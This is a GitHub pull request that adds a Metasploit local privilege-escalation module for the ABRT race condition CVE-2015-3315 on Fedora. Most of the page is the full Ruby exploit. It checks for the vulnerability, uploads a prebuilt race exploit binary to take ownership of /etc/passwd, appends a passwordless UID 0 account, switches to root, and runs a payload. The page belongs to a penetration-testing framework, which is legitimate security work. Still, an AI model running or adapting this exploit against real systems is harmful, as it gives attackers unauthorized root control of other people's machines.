Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add ABRT raceabrt Privilege Escalation module #9422

Merged
merged 5 commits into from Feb 11, 2018
Merged
Show file tree
Hide file tree
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
Binary file added data/exploits/cve-2015-3315/raceabrt
Binary file not shown.
189 changes: 189 additions & 0 deletions modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb
@@ -0,0 +1,189 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'ABRT raceabrt Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Fedora systems with
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
as the crash handler.

A race condition allows local users to change ownership of arbitrary
files (CVE-2015-3315). This module uses a symlink attack on
'/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd,
then adds a new user with UID=0 GID=0 to gain root privileges.
Winning the race could take a few minutes.

This module has been tested successfully on ABRT packaged version
2.2.1-1.fc19 on Fedora 19 x86_64 and 2.2.2-2.fc20 on Fedora 20 x86_64.
Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # Discovery and C exploit
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'DisclosureDate' => 'Apr 14 2015',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'References' =>
[
[ 'CVE', '2015-3315' ],
[ 'EDB', '36747' ],
[ 'BID', '75117' ],
[ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ],
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ],
[ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ],
[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ],
[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ],
[ 'URL', 'https://access.redhat.com/articles/1415483' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ]
]
))
register_options(
[
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end

def base_dir
datastore['WritableDir']
end

def timeout
datastore['TIMEOUT']
end

def check
if cmd_exec('lsattr /etc/passwd').include? 'i'
vprint_error 'File /etc/passwd is immutable'
return CheckCode::Safe
end

kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'
unless kernel_core_pattern.include? 'abrt-hook-ccpp'
vprint_error 'System is NOT configured to use ABRT for crash reporting'
return CheckCode::Safe
end
vprint_good 'System is configured to use ABRT for crash reporting'

if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true'
vprint_error "Directory '/var/spool/abrt' exists. System has been patched."
return CheckCode::Safe
end
vprint_good 'System does not appear to have been patched'

unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true'
vprint_error "Directory '/var/tmp/abrt' does NOT exist"
return CheckCode::Safe
end
vprint_good "Directory '/var/tmp/abrt' exists"

if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'
vprint_error 'abrt-ccp service NOT running'
return CheckCode::Safe
end
vprint_good 'abrt-ccpp service is running'

abrt_version = cmd_exec('yum list installed abrt | grep abrt').split(/\s+/)[1]
unless abrt_version.blank?
vprint_status "System is using ABRT package version #{abrt_version}"
end

CheckCode::Detected
end

def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
cmd_exec "chmod +x '#{path}'"
register_file_for_cleanup path
end

def exploit
if check != CheckCode::Detected
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

chown_file = '/etc/passwd'
username = rand_text_alpha rand(7..10)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd like to see this be a non-required item. During a pentest, it'd be good to set a static name across all exploited systems (like the pentest company name), or whatever a possible agreed upon flag may be. If not given, rand it.


# Upload Tavis Ormandy's raceabrt exploit:
# - https://www.exploit-db.com/exploits/36747/
# Cross-compiled with:
# - i486-linux-musl-cc -static raceabrt.c
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt'
fd = ::File.open path, 'rb'
executable_data = fd.read fd.stat.size
fd.close

executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
upload_and_chmodx executable_path, executable_data

# Change working directory to base_dir
cmd_exec "cd '#{base_dir}'"

# Launch raceabrt executable
print_status "Trying to own '#{chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ..."
output = cmd_exec "#{executable_path} #{chown_file}", nil, timeout
output.each_line { |line| vprint_status line.chomp }

# Check if we own /etc/passwd
unless cmd_exec("[ -w #{chown_file} ] && echo true").include? 'true'
fail_with Failure::Unknown, "Failed to own '#{chown_file}'"
end

print_good "Success! '#{chown_file}' is writable"

# Add new user with no password
print_status "Adding #{username} user to #{chown_file} ..."
cmd_exec "echo '#{username}::0:0::/root:/bin/bash' >> #{chown_file}"

# Switch to new user
vprint_status 'Switching to new user...'
cmd_exec "su - #{username}"
id = cmd_exec 'id'
vprint_line id
unless id.include? 'root'
fail_with Failure::Unknown, 'Failed to gain root privileges'
end

# Remove new user
cmd_exec "sed -i 's/^#{username}.*$//g' #{chown_file}"
passwd = cmd_exec "grep #{username} #{chown_file}"
if passwd =~ /#{username}/
print_warning "Could not remove the '#{username}' user from #{chown_file}"
end

# Reinstate /etc/passwd ownership
cmd_exec "chown root:root #{chown_file}"

# Upload payload executable
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe

# Execute payload executable
vprint_status 'Executing payload...'
cmd_exec payload_path
end
end